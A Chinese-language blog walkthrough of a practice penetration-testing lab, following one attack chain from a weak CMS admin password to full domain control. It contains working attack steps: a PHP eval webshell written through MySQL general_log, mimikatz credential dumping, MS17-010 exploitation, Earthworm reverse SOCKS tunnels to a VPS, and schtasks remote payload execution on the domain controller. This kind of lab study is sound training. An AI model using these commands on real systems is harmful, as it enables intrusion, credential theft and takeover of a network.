img

靶场地址与介绍:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

漏洞利用

1.漏洞搜索与利用 2.后台Getshell上传技巧 3.系统信息收集 4.主机密码收集

内网搜集

1.内网–继续信息收集 2.内网攻击姿势–信息泄露 3.内网攻击姿势-MS08-067 4.内网攻击姿势-SMB远程桌面口令猜测 5.内网攻击姿势-Oracle数据库TNS服务漏洞 6.内网攻击姿势-RPC DCOM服务漏洞

横向移动

1.内网其它主机端口-文件读取 2.内网其它主机端口-redis 3.内网其它主机端口-redis Getshell 4.内网其它主机端口-MySQL数据库 5.内网其它主机端口-MySQL提权

构建通道

内网其它主机端口-代理转发

持久控制

1.域渗透-域成员信息收集 2.域渗透-基础服务弱口令探测及深度利用之powershell 3.域渗透-横向移动[wmi利用] 4.域渗透-C2命令执行 5.域渗透-利用DomainFronting实现对beacon的深度隐藏 6.域渗透-域控实现与利用

痕迹清理

一下是整个靶场拓扑结构:

img

Web服务器:

Windows7(内配有phpstudy web环境)

模拟外网ip:192.168.161.129

内网ip:192.168.52.143

域内主机:

Win2K3 Metasploitable

内网ip:192.168.52.141

域控:

Windows 2008

内网ip:192.168.52.138

以上内网无法与外网通信,只有win7可以连通内外网。

下面我们开始实战!!!

外网初探

访问web服务器win7的模拟外网ip——192.168.161.129

img

是web一个站点,并且在右边“公告信息”处泄露了后台地址——/index.php?r=admin,我们登录后台,从网上查得yxcms的后台默认密码后登陆:

img

img

登陆成功

发现在前台模板功能里面可以直接编辑php文件,我们一可以直接写入webshell并连接

img

我们在acomment.php中写入

img

保存后,我们接下来就要想办法找到这个acomment.php所在的目录了,我们扫描一下后台

img

发现好多目录,这里我们发现这个cms存在目录遍历漏洞:

img

这个时候只要浏览找出刚刚修改过的页面就可以使用shell连接器连接了。

这里还有一个方法就是我们发现了这个web服务器上面有phpmyadmin,那么我们可以登陆进去,这里是靶机,自然就是弱密码了(root/root):

img

phpmyadmin后台getshell的常用手段有以下几种方式:

1、select into outfile直接写入

2、开启全局日志getshell

3、使用慢查询日志getsehll

4、使用错误日志getshell

5、利用phpmyadmin4.8.x本地文件包含漏洞getshell

执行以下sql语句

1
show variables like '%secure%';

img

发现没有写入权限,无法用select into outfile方法写入shell。我们再来看一下第二种方法,利用全局变量general_log去getshell

img

我们将全局日志开启并将保存日志的目录设为web目录

1
2
3
set global general_log=on;# 开启日志

set global general_log_file='C:/phpStudy/WWW/yxcms/hack.php';# 设置日志位置为网站目录

设置成功

img

此时执行如下语句即可写入webshell到hack.php中

1
select '<?php eval($_POST[whoami]); ?>'

img

用蚁剑连接即可

img

杀入内网

我们发现我们刚刚拿到的shell是个管理员的shell

img

那就太好了,接下来我们要做的就是信息收集,为之后的杀入内网做准备

初步收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ipconfig /all   # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件

net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)

img

img

路由信息:

img

收集到一下关键信息:

该域名为god.org,域控为OWA$,域管理员为Administrator,内网网段为192.168.52.1/24,我们用Ping命令探测域控的ip

1
ping owa.god.org

img

可知域控ip为192.168.52.138。

接下来我们在win7本地主机创建一个whoami用户,并加入到管理员组中

img

然后设法远程桌面登录,查看3389是否开启:

1
netstat -ano | find "3389"

发现是开启的

img

如果没开启则利用以下命令来开启

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

尝试用whoami用户登录远程桌面连接却失败了,nmap扫描3389端口发现状态为filtered,看来是被防火墙给过滤了。这时我们可以反弹一个msf的shell回来,然后用enable_rdp尝试关闭防火墙。

这里,我为了实验环境的真实,把我的攻击机kali当做了一个处于另一个局域网的主机,并用frp将msf映射到外网vps上面来实现对 “远程” windows7的控制:

img

生成并上传木马

img

执行木马并在kali上面监听

img

成功上线。

由于是administrator用户,所以很容易变提权了

img

执行run post/windows/manage/enable_rdp模块来关闭防火墙,并使用rdesktop打开远程桌面

img

img

成功开启远程桌面。接下来我们进一步进行信息收集。

抓一下hash

img

失败了,我们用msf自带的模块进行hash抓取

1
meterpreter > run post/windows/gather/smart_hashdump

img

我们再上传并使用mimitakz(实战中需要免杀处理)进行抓取

img

先进行权限提升

1
privilege::debug

然后使用

1
sekurlsa::logonPasswords

img

此时我们已经获取到了administrator(域管理员)的明文密码——Liu78963

接下来我们进一步渗透入内网,对域中的其他主机进行渗透。

进一步深入(横向移动)

我们用以下方法探测内网存活的主机

1
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="   用Ping命令探测内网主机

img

探测到一台内网主机,ip为192.168.52.141。我们添加一下路由,对该主机进行渗透

img

探测是否存在ms17_010:

img

发现存在漏洞,尝试攻击

img

攻击失败了。用msf内置的17-010,失败是经常的事情,打2003有时候多次执行后msf就接收不到session,而且ms17-010利用时,server 2003很容易就蓝屏了。可以尝试了一下github上的windows 2003 – windows 10全版本的msf 17-010脚本(ms17_010_eternalblue_doublepulsar)。我们可以尝试直接打开该主机的远程桌面,由于该主机处于内网,我们的攻击机相对之处于外网,无法直接与内网中的主机通信,所以我们需要用Earthworm做Socks5代理作为跳板进入内网获取更多主机。

在我们公网vps上面开启Earthworm监听

1
./ew_for_linux64 -s rcsocks -l 1080 -e 1234

该命令的意思是添加一个转接隧道,监听1234,把本地1024端口收到的代理请求转交给1080端口,这里1024端口只是用于传输流量。

上传ew_for_Win.exe到win7受害主机,并在win7上面启动socks5服务器并反弹到vps上面

1
ew_for_Win.exe -s rssocks -d 39.1xx.xx9.xx0 -e 1234

img

再配置好proxychains:

img

这样内网主机win2003就可以通过vps与攻击机kali通信了,这里要知道,我们在msf上设置路由是为了让msf可以通信到内网其他主机;而我们设置代理是为了让攻击机上的其他工具可以通信到到内网的其他主机。

用nmap扫描win2003的3389端口,发现其没有开启:

1
proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141   # -Pn和-sT必须要有

img

我们用auxiliary/admin/smb/ms17_010_command模块执行命令将其开启:

img

再次扫描就开启了

img

开启远程桌面

img

在这里,我用的是先添加一个用户,然后使用 exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,因为这个模块需要你去指定一个管理员用户。

先用auxiliary/admin/smb/ms17_010_command来添加一个用户

img

并将这个用户加入管理员组:

img

查看一下可见添加成功了:

img

然后使用exploit/windows/smb/ms17_010_psexec 尝试去打一个shell回来,在多次尝试后终于成功了:

img

并且是最高权限。

先查看有那些补丁没有打..

1
run post/windows/gather/enum_patches

img

这打的补丁也太少了吧……

win2003拿一下了,接下来就是杀入域控了

杀入域控

我首先想到的是ms17_010,但他也失败了,因为之前的信息收集中我们已经拿到了域管理员administrator的密码——Liu78963,我便尝试远程登录。

img

失败,也是因为没有开启3389

img

尝试开启却失败

img

只能换一种思路,我们这里通过win7在域控上面上传一个msf马。

先用win7连接域控的c盘共享

1
net use \\192.168.52.138\c$ "Liu78963" /user:"administrator"

img

使用dir 就可以查看域控的资源了。

将win7主机上的shell.exe上传到域控上

1
copy c:\phpstudy\www\yxcms\shell.exe \\192.168.52.138\c$ 

img

设置一个任务计划,定时启动木马之后就能够获取域控的shell了

1
shell schtasks /create /tn "test" /tr C:\shell.exe /sc once /st 18:05 /S 192.168.52.138 /RU System  /u administrator /p "Liu78963"

Ending……

img

这个靶场算是一个非常基础的靶场了,十分适合新手练习。本人作为一个从零基础开始正在入门的菜鸡,在自学的过程中还有很长的道路要走,还需多向前辈们学习!请各位大佬们多多指教!

我的博客:https://whoamianony.top/